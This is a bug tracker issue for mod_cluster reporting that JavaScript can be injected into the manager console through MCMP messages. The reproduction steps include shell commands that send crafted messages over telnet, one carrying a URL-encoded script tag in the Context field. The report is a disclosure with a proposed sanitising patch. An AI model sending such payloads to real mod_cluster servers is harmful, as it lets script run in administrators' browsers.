It is possible to inject JavaScript into mod_cluster manager console via MCMP messages -------------------------------------------------------------------------------------- Key: MODCLUSTER-453 URL: https://issues.jboss.org/browse/MODCLUSTER-453 Project: mod_cluster Issue Type: Bug Components: Native (httpd modules) Affects Versions: 1.2.6.Final, 1.2.9.Final, 1.2.11.Final, 1.3.1.Beta2 Reporter: Michal Karm Babacek Assignee: Jean-Frederic Clere Priority: Critical Fix For: 1.3.2.Final, 1.2.12.Final Attachments: MODCLUSTER-453_master-better_one.patch, MODCLUSTER-453_master-mbabacek.patch, MODCLUSTER-453_master-offensive_approach.patch, patch.new.best.patch, patch.new.txt, patch.txt This is a nasty one indeed :-) h3. Steps to reproduce * start Apache HTTP Server with mod_cluster * send these messages (provided you test instance listens on 127.0.0.1) {code} { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666 { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666 {code} * Open http://localhost:6666/mod_cluster_manager and enjoy JavaScript pop-up Alert being executed. h3. Impact * Anyone with access to the (hopefully only internal) network from which MCMP messages are allowed to come from could send these messages and execute arbitrary JavaScript code. h3. Suggestion * Leverage {{apr_escape*}} to sanitize MCMP messages. h3. Proposed patch * [^patch.new.best.patch]: MCMP messages containing suspicious characters are discarded.